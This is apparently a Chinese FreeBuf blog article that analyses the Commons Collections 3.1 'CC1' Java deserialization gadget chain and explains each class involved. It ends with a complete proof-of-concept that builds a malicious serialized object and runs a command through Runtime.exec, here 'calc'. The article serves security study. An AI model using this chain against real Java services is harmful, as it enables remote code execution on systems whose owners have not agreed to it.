freeBuf
Java反序列化CC1-漏洞分析
2022-07-05 21:13:12
所属地 江西省

环境部署

JDK版本 8u71以下
commons-collections:3.1

commons-collections:3.1使用maven添加

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

Transformer

Transformer 是一个接口,提供了一个transform()方法。官方的注释是
将对象(保持不变)转换为某个输出对象

image.png

TransformedMap

TransformedMap 类,用来处理一个Map类,对该类进行添加和修改。
当TransformedMap 处理key 和value时,会调用 transform() 方法来对 key 和 value 进行处理

image.png

可以看当调用 put() 方法添加key 和 value 时会先调用transformKey() transformValue()方法来对 key value 来进行处理
image.png
image.png

之后看一下这两个方法,发现里面都有调用到 transform() 方法

这里的keyTransformer 和 valueTransformer 相当于修改器,用来修改 key 和 value ,具体修改的的方法要根据keyTransformer 和 valueTransformer 的 transform()方法来决定。

ConstantTransformer

这个类实现了Transofmer,作用是在实例化的时候接收一个参数,在调用 transform() 方法时返回这个参数

image.png

InvokerTransformer

这个类同样实现了Transofmer。
在调用 transform() 方法时通过反射调用参数的类的某个方法,可达到一个代码执行的效果
他在实例化时传入的三个参数分别是 要执行的方法、方法参数的类型、方法的参数
image.png
image.png

ChainedTransformer

这个类也实现了Transofmer,ChainedTransformer的 transform() 方法就比较特殊了。首先,ChainedTransformer在实例化的时候会获取一个数组,之后调用 transform() 方法的时候数组中所有的类都会调用它们的 transform() 方法 并且transform() 方法返回的值会作为下一个 transform() 方法的参数使用,以此重复
这里借用一下P神的图
image.png

Poc构造

Transformer数组构造

看一下已经构造好的数组
这个数组中有两个实例化的类,分别是ConstantTransformer 和 InvokerTransformer。

public static void main(String[] args) {
	 Transformer[] transformers = new Transformer[]{
	 	new ConstantTransformer(Runtime.getRuntime()),
 	 	new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
	};
}

将这个数组作为参数传递给ChainedTransformer 类
上文在对ChainedTransformer 介绍时说了,ChainedTransformer 会在调用transform() 方法时把数组中所有类的transform() 方法都调用一点 ,并且把返回的结果作为下一个transform() 方法的参数使用
这里我们在把数组传递给ChainedTransformer 之后调用了transform() 方法

public static void main(String[] args) {
	 Transformer[] transformers = new Transformer[]{
	 	new ConstantTransformer(Runtime.getRuntime()),
 	 	new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
	};
	Transformer transformerChain = new ChainedTransformer(transformers);
	transformerChain.transform("asdf");
}

在调用transform() 方法那行打断点,调试一下,看看程序是怎么运行的
在进入到ChainedTransformer#transform() 方法之后会遍历数组,首先遍历到的是 ConstantTransformer。
image.png
调用ConstantTransformer#transform()
上文介绍ConstantTransformer 时说过,ConstantTransformer#transform()会返回实例化时接收的参数,在实例化的时候我们接收的参数时 Runtime.getRuntime() 所以这里返回的值就是Runtime 类
image.png
在调用完ConstantTransformer#transform() 之后开始下一次的循环
这次循环调用的是InvokerTransformer#transform()
image.png
InvokerTransformer#transform() 参数用的是ConstantTransformer#transform() 返回的结果 Runtime
这里先是判断input 是否为空,然后使用getMethod() 获取Runtime中的exec() 方法 之后通过invoke() 调用exec方法,参数是"calc"
image.png
执行完毕
image.png

LazyMap

LazyMap的作用大概就是,当 map 对象要获取 key 时,会判断 map 对象中有没有这个key,如果没有的话,就会创建这个key ,并给这个key 添加值,之后再把这个key 添加到 map对象中
看具体代码

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

调用get() 时,会先判断map 中有没有这个key 如果没有则创建这个key 并调用 factory.transform() 给key 添加一个值,之后调用put() 将这个key 添加至map对象中。

Java动态代理

上面我们讲述了一下触发点,接下来我们来看一下如何才能调用到这个点来代码执行
在ysoserial中是通过sun.reflect.annotation.AnnotationInvocationHandler 这个类中的readObject来调用的
这个类实现了 InvocationHandler 接口,也就是说,当这个类在作为动态代理使用时,被代理对象执行方法时会先去调用 动态代理中的 invoke方法
这里我们看一下 sun.reflect.annotation.AnnotationInvocationHandler#invoke()的代码

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }

                        return var6;
                    }
            }
        }
    }

这里我们得出一条利用链
通过某个类重写后的readObject() 方法调用 map的任意方法,之后就会调用到动态代理的 invoke() 方法,在invoke()方法中调用到了get() 方法加载key,要是key不在map 对象中,则会调用到transform()方法。

new xxx.readObject()
	new LazyMap().xxx()
		new AnnotationInvocationHandler().invoke()
			new LazyMap().get()
				new ChainedTransformer.transform()
					new ConstantTransformer().transform()
						new InvokerTransformer().transform()

接着我们再看一下 sun.reflect.annotation.AnnotationInvocationHandler#readObject()
调用到了 Map接口中的 entrySet()方法,那么这里就可以作为我们的入口点去触发代码执行。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

完整攻击链

public static void main(String[] args) throws Exception{
        //构造恶意数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
        };

        //获取恶意数组
        Transformer transformerChain = new ChainedTransformer(transformers);
        //将恶意方法作为修饰元素的方法
        Map lazyMap = LazyMap.decorate(new HashMap(),transformerChain);

        //反射获取并实例化动态代理
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler LazyMap_handler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap);

        //代理 lazyMap的接口,使用 LazyMap_handler代理
        //proxyMap在调用到 Map接口中的任意方法之后将会执行 LazyMap_handler的 invoke()方法
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),LazyMap_handler);

        //将 proxyMap带入到 sun.reflect.annotation.AnnotationInvocationHandler类中,去调用 entrySet()方法
        Object  handler = constructor.newInstance(Retention.class,proxyMap);

        //反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("LazyMap_CC1"));
        oos.writeObject(handler);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("LazyMap_CC1"));
        ois.readObject();
    }
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录